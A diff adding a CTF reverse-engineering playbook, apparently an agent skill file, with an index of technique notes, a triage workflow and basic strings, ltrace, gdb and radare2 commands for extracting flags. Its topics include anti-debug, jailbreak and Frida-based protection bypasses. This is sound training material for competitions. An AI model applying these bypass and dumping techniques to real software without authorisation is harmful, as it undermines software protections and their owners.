+ - [patterns-ctf-2.md](patterns-ctf-2.md) - Competition-specific patterns (Part 2): multi-layer self-decrypting brute-force, embedded ZIP+XOR license, stack string deobfuscation, prefix hash brute-force, CVP/LLL lattice for integer validation, decision tree function obfuscation, GF(2^8) Gaussian elimination, ROP chain obfuscation analysis (ROPfuscation)
51
+ - [patterns-ctf-3.md](patterns-ctf-3.md) - Competition-specific patterns (Part 3): Z3 single-line Python circuit, sliding window popcount, keyboard LED Morse code via ioctl, C++ destructor-hidden validation, syscall side-effect memory corruption, MFC dialog event handlers, VM sequential key-chain brute-force, Burrows-Wheeler transform inversion, OpenType font ligature exploitation, GLSL shader VM with self-modifying code, instruction counter as cryptographic state, batch crackme automation via objdump, fork+pipe+dead branch anti-analysis, TensorFlow DNN inversion via sigmoid layer inversion, BPF filter analysis via kernel JIT to x64 assembly
52
+ - [languages.md](languages.md) - Language-specific: Python bytecode & opcode remapping, Python version-specific bytecode, Pyarmor static unpack, DOS stubs, Unity IL2CPP, HarmonyOS HAP/ABC, Brainfuck/esolangs (+ BF character-by-character static analysis, BF side-channel read count oracle, BF comparison idiom detection), UEFI, transpilation to C, code coverage side-channel, OPAL functional reversing, non-bijective substitution, FRACTRAN program inversion
53
+ - [languages-platforms.md](languages-platforms.md) - Platform/framework-specific: Roblox place file analysis, Godot game asset extraction, Rust serde_json schema recovery, Android JNI RegisterNatives obfuscation, Android DEX runtime bytecode patching via /proc/self/maps, Android native .so loading bypass via new project, Frida Firebase Cloud Functions bypass, Verilog/hardware RE, prefix-by-prefix hash reversal, Ruby/Perl polyglot constraint satisfaction, Electron ASAR extraction + native binary analysis, Node.js npm runtime introspection
54
+ - [languages-compiled.md](languages-compiled.md) - Go binary reversing (GoReSym, goroutines, memory layout, channel ops, embed.FS, Go binary UUID patching for C2 enumeration), Rust binary reversing (demangling, Option/Result, Vec, panic strings), Swift binary reversing (demangling, protocol witness tables), Kotlin/JVM (coroutine state machines), Haskell GHC CMM intermediate language for recursive structure analysis, C++ (vtable reconstruction, RTTI, STL patterns)
55
+ - [platforms.md](platforms.md) - Platform-specific RE: macOS/iOS (Mach-O, code signing, Objective-C runtime, Swift, dyld, jailbreak bypass), embedded/IoT firmware (binwalk, UART/JTAG/SPI extraction, ARM/MIPS, RTOS), kernel drivers (Linux .ko, eBPF, Windows .sys), game engines (Unreal Engine, Unity, anti-cheat, Lua), automotive CAN bus
56
+ - [platforms-hardware.md](platforms-hardware.md) - Hardware and advanced architecture RE: HD44780 LCD controller GPIO reconstruction, RISC-V advanced (custom extensions, privileged modes, debugging), ARM64/AArch64 reversing and exploitation (calling convention, ROP gadgets, qemu-aarch64-static emulation)
57
+ - [field-notes.md](field-notes.md) - Quick reference notes: binary types, anti-debugging bypass, specialized patterns, CTF case notes
58
+
59
+ ---
60
+
61
+ ## When to Pivot
62
+
63
+ - If you already understand the binary and now need heap, ROP, or kernel exploitation, switch to `/ctf-pwn`.
64
+ - If the challenge is really about recovering deleted files, PCAP data, or disk artifacts, switch to `/ctf-forensics`.
65
+ - If the target is a web app and you are only reversing a small client-side helper script, switch to `/ctf-web`.
66
+ - If the binary implements a machine learning model and the challenge is about model attacks or adversarial inputs, switch to `/ctf-ai-ml`.
67
+ - If the reversed binary's core logic is a cryptographic algorithm or math problem, switch to `/ctf-crypto`.
68
+ - If the binary is a real malware sample with C2, packing, or evasion behavior, switch to `/ctf-malware`.
69
+ - If the challenge is a toy VM, encoding puzzle, or pyjail rather than a real binary, switch to `/ctf-misc`.
70
+
71
+ ## Problem-Solving Workflow
72
+
73
+ 1. **Start with strings extraction** - many easy challenges have plaintext flags
74
+ 2. **Try ltrace/strace** - dynamic analysis often reveals flags without reversing
75
+ 3. **Try Frida hooking** - hook strcmp/memcmp to capture expected values without reversing
76
+ 4. **Try angr** - symbolic execution solves many flag-checkers automatically
77
+ 5. **Try Qiling** - emulate foreign-arch binaries or bypass heavy anti-debug without artifacts
78
+ 6. **Map control flow** before modifying execution
79
+ 7. **Automate manual processes** via scripting (r2pipe, Frida, angr, Python)
80
+ 8. **Validate assumptions** by comparing decompiler outputs (dogbolt.org for side-by-side)
81
+
82
+ ## Quick Wins (Try First!)
83
+
84
+ ```bash
85
+ # Plaintext flag extraction
86
+ strings binary | grep -E "flag\{|CTF\{|pico"
87
+ strings binary | grep -iE "flag|secret|password"
88
+ rabin2 -z binary | grep -i "flag"
89
+
90
+ # Dynamic analysis - often captures flag directly
91
+ ltrace ./binary
92
+ strace -f -s 500 ./binary
93
+
94
+ # Hex dump search
95
+ xxd binary | grep -i flag
96
+
97
+ # Run with test inputs
98
+ ./binary AAAA
99
+ echo "test" | ./binary
100
+ ```
101
+
102
+ ## Initial Analysis
103
+
104
+ ```bash
105
+ file binary # Type, architecture
106
+ checksec --file=binary # Security features (for pwn)
107
+ chmod +x binary # Make executable
108
+ ```
109
+
110
+ ## Memory Dumping Strategy
111
+
112
+ **Key insight:** Let the program compute the answer, then dump it. Break at final comparison (`b *main+OFFSET`), enter any input of correct length, then `x/s $rsi` to dump computed flag.
113
+
114
+ ## Decoy Flag Detection
115
+
116
+ **Pattern:** Multiple fake targets before real check. Look for multiple comparison targets in sequence with different success messages. Set breakpoint at FINAL comparison, not earlier ones.
117
+
118
+ ## GDB PIE Debugging
119
+
120
+ PIE binaries randomize base address. Use relative breakpoints:
121
+ ```bash
122
+ gdb ./binary
123
+ start # Forces PIE base resolution
124
+ b *main+0xca # Relative to main
125
+ run
126
+ ```
127
+
128
+ ## Comparison Direction (Critical!)
129
+
130
+ Two patterns: (1) `transform(flag) == stored_target` — reverse the transform. (2) `transform(stored_target) == flag` — flag IS the transformed data, just apply transform to stored target.
131
+
132
+ ## Common Encryption Patterns
133
+
134
+ - XOR with single byte - try all 256 values
135
+ - XOR with known plaintext (`flag{`, `CTF{`)
136
+ - RC4 with hardcoded key
137
+ - Custom permutation + XOR
138
+ - XOR with position index (`^ i` or `^ (i & 0xff)`) layered with a repeating key
139
+
140
+ ## Quick Tool Reference
141
+
142
+ ```bash
143
+ # Radare2
144
+ r2 -d ./binary # Debug mode
145
+ aaa # Analyze
146
+ afl # List functions
147
+ pdf @ main # Disassemble main
148
+
149
+ # Ghidra (headless)
150
+ analyzeHeadless project/ tmp -import binary -postScript script.py
151
+
152
+ # IDA
153
+ ida64 binary # Open in IDA64
154
+ ```
155
+
156
+ ## Deep-Dive Notes
157
+
158
+ Use [field-notes.md](field-notes.md) after the first round of triage when you know what kind of target you have.
159
+
160
+ - Target formats: Python bytecode, WASM, Android, Flutter, .NET, UPX, Tauri
161
+ - Technique notes: anti-debug bypass, VM analysis, x86-64 gotchas, iterative solvers, Unicorn, timing side channels
162
+ - Platform notes: Godot, Roblox, macOS/iOS, embedded firmware, kernel drivers, game engines, Swift, Kotlin, Go, Rust, D
163
+ - Case notes: modern CTF-specific reversing patterns and older classic challenge patterns